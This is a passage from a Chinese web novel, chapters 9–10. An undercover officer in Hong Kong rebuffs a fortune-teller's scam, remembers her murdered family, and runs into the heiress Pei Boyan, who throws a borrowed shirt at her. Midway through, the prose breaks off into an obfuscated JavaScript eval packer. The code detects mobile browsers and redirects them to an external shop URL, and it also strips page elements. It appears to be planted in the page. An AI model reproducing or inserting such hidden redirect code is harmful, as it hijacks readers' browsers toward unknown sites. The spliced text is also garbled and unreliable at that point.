沈雾跟黎叔说了声,去捞口饭吃,回来继续干活。 到附近的车仔面档吃了碗冷面,破旧的风扇乏力地吹,她还是吃了一身汗。 衣服太厚了,闷。 沈雾无比怀念清爽的背心。 没有经验,也不知道裴大小姐的吻痕要多久才能消下去。 不会炎炎夏日,要一直穿高领吧,干活都不好干。 吃完冷面,从巷子里溜达出来,路过一个花里胡哨的算命摊阵。 穿着道袍戴着墨镜的干瘪相士,双眼从手中摊开的《马经》上方冒出来,跟着她。 沈雾都走过去了,他突然对着背影道: “阿妹,等阵(请留步)!” 沈雾回头,清冷的眼眸扫过头发乱糟糟的相士面庞,落在他手里的《马经》上。 相士立刻笑嘻嘻地把写满了赛马消息的《马经》叠起来,拿手机压住,站起身转着圈地打量沈雾面部的三停十二宫,连连叹气。 “阿妹这面相,万里挑一啊。山根奇高自带孤峰,玉堂光洁却寒侵紫府。” 相士粗短的手指指着沈雾的脸,露出一口烟牙。 “额头饱满如覆肝,本是聪慧之相,可惜日月角低陷,亲缘浅薄。眉似新月,怎么眉心交锁?姊妹宫俱是离散之气呐。” 文绉绉唬人的词听不太懂,不过有部分懂了。 比如亲缘浅薄,比如姊妹宫俱是离散之气。 说她没爸没妈,没姐妹。 沈雾脑中一闪而过满地的血,妈妈看向她的绝望不舍的眼神。 呼吸变得急促,沈雾不太有底气地反驳道: “万里挑一就挑出这样的命格?别胡说八道,我有妹妹。” 相士就像没听到她的话,从后腰抽出盘到包浆的命盘,指尖悬在“天孤星”上,双眼翻白,像抽风一样快速算着什么,忽然睁眼。 “瞳如秋水,本是桃花盈门,然,眼尾夫妻宫处偏偏有十字纹破局。哎,此乃孤星坐命,一生情路坎坷啊。就算遇到真命人也无法长留,注定一生漂泊孤苦。” 这是在诅咒她注孤生? 沈雾面色不善道:“我没让你给我算命。” 沈雾了解这些街头骗子,尽会用耸人听闻的话骗人。 嘴上说得神乎其神,其实都察言观色后看人下菜碟,有固定的套路。 看到光鲜亮丽的富人,会说你鼻如悬胆,颧骨带权,典型的掌权格,不是老板也是话事人。可惜命理里藏着点“虚火”,身边有些人跟你走得近,未必是真心对待,你有时候是不是觉得难交到真心朋友? 看到上班族,就会说看你行色匆忙,面露倦容,但眉宇间有股被压制的贵气,是典型的怀才不遇相。最近工作上是否遇到瓶颈,上司有时候赏识你,有时候又看不到你的才能? 轮到沈雾这种年纪轻轻穿着潦草,还一身机油味的,当然是无依无靠。 说着理解的话,其实是在放大焦虑。 按照套路,接下来就要让她掏钱改运了。 沈雾转身就走。 相士不依不饶地拉住她,手指几乎要戳到她右眼眼尾。 “奇怪奇怪,该是六亲宫残缺的面相啊,怎么这里少了颗痣?” 完全不相信江湖骗子的沈雾,在听到这句话时,诧异地放缓脚步。 她眼尾的确曾经有颗痣,很特别的痣。 10. 第 10 章 曾经位于沈雾右眼眼尾下方的痣,樱桃红,很醒目。 妈妈说很漂亮,是美人痣。 姐姐则说,长在眼下,得多爱哭。 这颗她很喜欢的痣,在她改姓沈,决定隐姓埋名到港岛当卧底的那年点掉了。 人很难记住快乐的时光,对于痛楚却格外深刻。 她已经不记得年幼时生日是怎么过的了,每回考第一名爸妈又是怎么奖励她。 所有曾经拥有过的快乐,都被失去至亲的痛苦吞没。 父母和姐姐被害惨死,她是全家唯一侥幸活下来的。 永远记得点痣的那一刻,激光发出微弱的啪啪声,局部麻醉让她感受不到疼痛,但灼烧的微微焦味弥漫于身体周围。 透过护目镜麻木地看着天花板的她,像一具正在被焚烧的尸体。 那颗漂亮又显得软弱的红痣就这样消失了。 曾经那个爱笑的她,也在十二岁的夏天跟着家人一同死去。 从此以后,她姓沈。 她会作为沈雾活下去,亲自踏上港岛的土地,血肉埋入钢铁森林,握着尖刀追查真相,用余生将罪魁祸首绳之以法。 沈雾往前一步,矮她一头的瘦弱相士被她可怕的表情吓得后退。 沈雾的眼神能吃人。 “我没少颗痣,不过你马上就会少根手指。” 相士喉结滚了滚,紧张地弯回一直指着沈雾脸的手指。 “后生女,火气咁猛嘅?(小姑娘,火气至于这么大吗?)” 沈雾仔细打量他,甚至怀疑自己真实身份暴露了。 这相士是不是知道她是卧底,甚至知晓她的过往,在试探。 诡异的感觉让沈雾头皮发麻,眼前相士那平平无奇满是褶子的脸也变得阴森。 就在沈雾想找个借口把他拖进巷子里时,那阴森的脸忽然笑开花。 “别上火别上火,有办法化解的,今天遇到我是你幸运。”相士挤眉弄眼,“虽说你是孤星坐命,胜在根基清奇,不算大劫。只是命数上的一点小小的关煞。只要做一场增缘法事,就能为你接引正缘,化解你命中孤煞!” 沈雾眉尾抽动:…… 相士:“不要九万,只要九千九百九十九!哎,你是什么表情,这数字可不是随便定的,是对应星宿之数,乃是打通关窍的……哎哎哎,后生女,别走呀,要不然九百九十九也行!喂,你再考虑考虑嘛!” 沈雾黑着脸,随便上了路边的巴士,甩掉狗皮膏药一样想要骗钱的相士。 居然当真了几秒,她真是个傻子。 这趟巴士下一站就到车行附近,沈雾没坐,面无表情站着。 天太热,天地都被晒成了曝光过度的刺眼。 拥挤的街景和被晒化的人潮,从她发滞的眼底掠过。 夏季的港岛是一锅煮到糜稠的热粥。 炎热、拥挤,咕嘟着无人问津的冷漠。 行色匆匆满脸麻木的人群,不知从哪里来,为什么奔波,想去何处。 来港岛之前,沈雾听说家乡的旧家要拆迁了。 墙体被捣碎,坍塌,为人遮风挡雨几十年的老屋会当做垃圾运走,变成一片废墟。 很快就会有全新的高楼在废墟上拔地而起,变成另一个空间,装载属于别人的欢声笑语。 她们一家四口住过的地方,她长大的卧室,已经不在了吧。 麻木的人群即便再压抑再疲惫,也有可去的地方,想见的人。 她则像一块泡烂的浮木,随波逐流,前后无岸。 有一天死了,这世界很快就会把她忘记。 谁会想起她,为她流一滴眼泪? 孤星坐命,注定一生漂泊孤苦。 也没说错就是了,毕竟妈妈留给她的无事牌,也被她弄丢了。 沈雾很少去想自己的结局是暴尸荒野还是坟头凄凉。 情绪,是卧底在掌控情报、人脉和线索之前,首先要掌控的东西。 大概是天气太热,她又因为被属狗的裴大小姐咬得只能穿高领,在闷热的车行工作一上午,有了点中暑的征兆。 花了大半年的时间好不容易接近目标,目标又按兵不动,不知道是不是在进一步查她,还是出了什么岔子。 磨人。 沈雾回到车行,用冷水洗了脑袋,毛巾囫囵抹一把。 湿漉漉的头发贴着后颈,睫毛一缕缕沾在一起,眼神丧丧的,闷闷的。 像只生人勿进的大型猫科动物。 连黎叔看到这样的她都没敢说话,绕道走。 港岛上空堆积着厚厚的积雨云,闷热得急需一场大雨。 - 海面上停着一艘庞大的私人游艇,快艇突突突地靠近,上来两个女人。 其中一位是游艇主人裴薄妍的助理,Aimee。 跟在Aimee身后的女人身形高挑,面庞棱角分明,非常东方的气质,身材优越,昨天还在秀场上走秀。 Aimee没有上顶层的飞桥,站在楼梯旁对女模特说: “上去后不要说话,直接脱,坐在椅子上。” 听到“脱”这个字,女模特忐忑问:“脱的意思是……” Aimee:“全脱。” 女模特暗暗倒吸一口气,又问:“裴小姐会对我做什么吗?” Aimee见她微红的脸,表情更冷。 “她最近心情不好,如果你惹她烦,唯一会对你做的事,就是让你从离岛游回中环码头。” 女模特:…… 女模特走上飞桥,遮阳顶棚下的沙发上坐着个漂亮到让人眼前一亮的女人。 工作关系,女模特见过很多漂亮又时髦的女人,她的工作环境就是追逐时尚展现美,控制或制造流行趋势,接触的都是潮流金字塔最顶尖的人,各个美到脚趾头。 而这位裴大小姐只是安静地坐在画架后方,什么也没说什么也没做,就迷人得要命。 和时尚界不断思考,精益求精,绞尽脑汁的美丽不同,裴薄妍的迷人来自于浑然天成的美。 美得赏心悦目,毫不费力。 硬要说有什么不足,只有一点,她低垂着眉眼,随意翻着手里的画册,表情是不怕任何人看出来的冷漠。 女模特想起Aimee说的话。 当裴小姐的素描模特的报酬比她费心劳力熬夜走秀要丰厚得多,而且她也不想平白无故游一场马拉松。从大屿山游到中环码头三十多公里,就算侥幸没淹死,也有可能葬身鱼腹,或者干脆累死。 女模特乖乖坐到画架正前方的椅子上,熟练地脱衣服。 衣服落地,裴薄妍抬眸,慵懒的目光在她光洁的身上扫过。 自小画画,裴薄妍画过无数人体,对各种各样人类的身体早就免疫,再超模,都没有任何感觉,只当练笔的器具,和无机物模型没有区别。 女模特偏瘦,不过骨骼和肌肉线条结构算清晰,好画。 要是一周前,这会是让裴薄妍心情好转的素描对象。 只是,眼下裴薄妍还在用几何体搭架子就走神了。 几何体搭出的简陋轮廓,自动变成了沈无撩人的身形。 裴薄妍是亲自上手摸过的,从脖子到肩,后背到腰腹,每一根线条都长在最恰如其分的地方,有力却细致,独属于女人的柔韧饱满,一点儿恰到好处的香。 摸过那具身体的掌心告诉裴薄妍,姓沈的女人身材比她画过任何一个模特都优越。 不讲道理的勾人。 一整片扑楞翅膀的声响密集地从头顶掠过,扇起发梢。 裴薄妍眯着眼抬头,看到一整片朦胧的粉白。 那是刚刚在离岛附近觅食的成群粉红燕鸥。 眼下正是粉红燕鸥繁殖的季节,它们来到港岛交/配,为了获得给后代的食物,结成壮观的鸟群。 燕鸥独特的颜色染红了游艇上拿着铅笔的女人脸庞。 微微发热。 只拿铅笔有点空虚,掌心还想实实在在覆盖在衣料之下柔软,滚烫又紧致的肌肤上。 唇齿也干燥寂寞着,欠一口咬合。 裴薄妍感觉心口和后背都有点热。 不想承认自己对那个冷冰冰的大陆女人念念不忘。 归咎于海上太阳太晒。 女模特见裴薄妍的表情越来越不善,忐忑地换了下姿势。 裴薄妍冷冷的目光再次聚焦在模特身上。 和记忆里沈无的身体一对比,好无趣的眉目,好寡淡的皮囊。 白滚水和可乐。 铅笔随意放在一旁,毫无兴致。 - 根本没画完,钱还是给了。 女模特哭丧着脸热身,打算真的游回去。 收到裴薄妍看怪物一样的眼神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353130|199647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在海上与世隔绝这么久,裴大小姐终于想回去了。 十项全能的Aimee驾驶游艇开到码头,女模特开开心心向裴薄妍道谢后打车离开。 裴薄妍坐进Aimee早为她泊在停车场的保时捷。 副驾驶放着个袋子,里面是浅蓝色的衬衣。 那晚从唐楼穿走的,沈无的衣服。 Aimee把衬衣干洗好,整整齐齐叠好,放在袋子里。 干洗的费用都足以买十件同款,但Aimee看得出来裴薄妍对这件衣服很重视,特意询问,是否要把衬衣送回唐楼。 被裴薄妍拒绝,得到大小姐的回复是: “我自己去送还给她。” 裴薄妍驾车拐到民光街。 等红灯的时候,看了眼袋子里的衬衣,拿起来,轻轻摸了摸。 想闻闻看,是否留有柑橘的清甜味。 旁边车道忽然并上来一台丰田。 裴薄妍回神,放开了衬衣。 诧异自己居然会想闻一件价值30港币的廉价衣服,不能理解的离谱。 大夏天,那辆丰田反常地开着车窗,坐着一男一女。 霸占裴薄妍思绪大半天的女人,衬衣原本的主人,居然就坐在丰田的驾驶位上。 丰田冷凝器坏了,车主打电话到车行,沈雾和车行同事去取车回去修。 38度的天气开不了冷气,车里热得像蒸笼,只好开窗通风。 沈雾把脖子后的长发撩起,攥在张开的掌心里,打算用手腕上的皮筋扎起头发,动作慢吞吞的。 这么热的天出来取车,本来就热,沈雾还不爱说话,同行的男同事嫌她是个闷葫芦,在教导她应该开朗一点。 “喂,靓女别这么怕丑嘛,不然找不到男朋友的。” 沈雾没接话,男同事就自顾自地要教教她,该怎么主动搭话,才能揾到优质男友。 男同事不请自来当她的人生导师,也不顾别人想不想听。 沈雾是真的完全没听。 想到上司拿到了Glow的线索后跟她说,通过药物的线索追查到了一名叫钟俊辉的男子。 给裴薄妍下药的就是这人,港岛富商家的儿子。 本想找个别的理由把他带回警署问话,结果人失踪了。 失踪的时机可真巧,刚要调查人就没了。 是裴家在报复,还是藏在幕后更隐蔽的人物怕被顺藤摸瓜,干脆把藤给剪断了? 等红灯的沈雾陷入沉思,没发现隔壁的保时捷也放下了车窗,且保时捷里的人暗暗注视她有一会儿了。 坐在副驾驶的男同事用胳膊肘撞她,惊讶又兴奋地说:“喂喂,阿无,索女(大美女)在看我呢?” 沈雾转头,碰上裴薄妍那双冷眸,高温酷暑间被冻得脊背都不由自主僵了一下。 男同事不认识裴薄妍,但她眼神过于尖锐,他马上改口: “这么凶的吗?阿无是不是你惹到人家,来找你算账了?” 沈雾下意识摸向遮起来的脖子。 数天过去,裴大小姐对她又啃又咬的痕迹还没彻底消失,只是从可怕的紫红色变成了淡青。 那晚的事越少人知道越好,说出去会给追查带来麻烦,也对裴薄妍名声不利。 沈雾假装冷淡转开头,“我不认识她。” 声音不算大,不过港岛车道都窄,还开着车窗,裴薄妍听的一清二楚。 绿灯。 沈雾刚想踩油门,一件衬衣忽然从保时捷的车窗里飞出来,正中她的脑袋。 沈雾:?? 车晃了一下,停在原地。 尽管有《噪音管制条例》的限制,沈雾还是被后方车辆赏了几声烦躁的喇叭。 沈雾骂了句脏话,把糊住视线的衬衣抓下来。 刚能看清前方道路,就看到918气势汹汹离开的车屁股。 沈雾一头毛躁的头发,无语。 几天没见,裴大小姐脾气有增无减。 男同事则一脸见鬼的表情。 这件衬衣阿无穿到车行很多次,他认得。 30港币一件的廉价衬衣,被那个千金从千万豪车里丢了出来。 所以阿无的衣服,为什么会在千金的车里? 被男同事八卦地注视,沈雾脸颊微微发热,面无表情把衬衣团成一团压在腿上,装作若无其事,开车前往新景。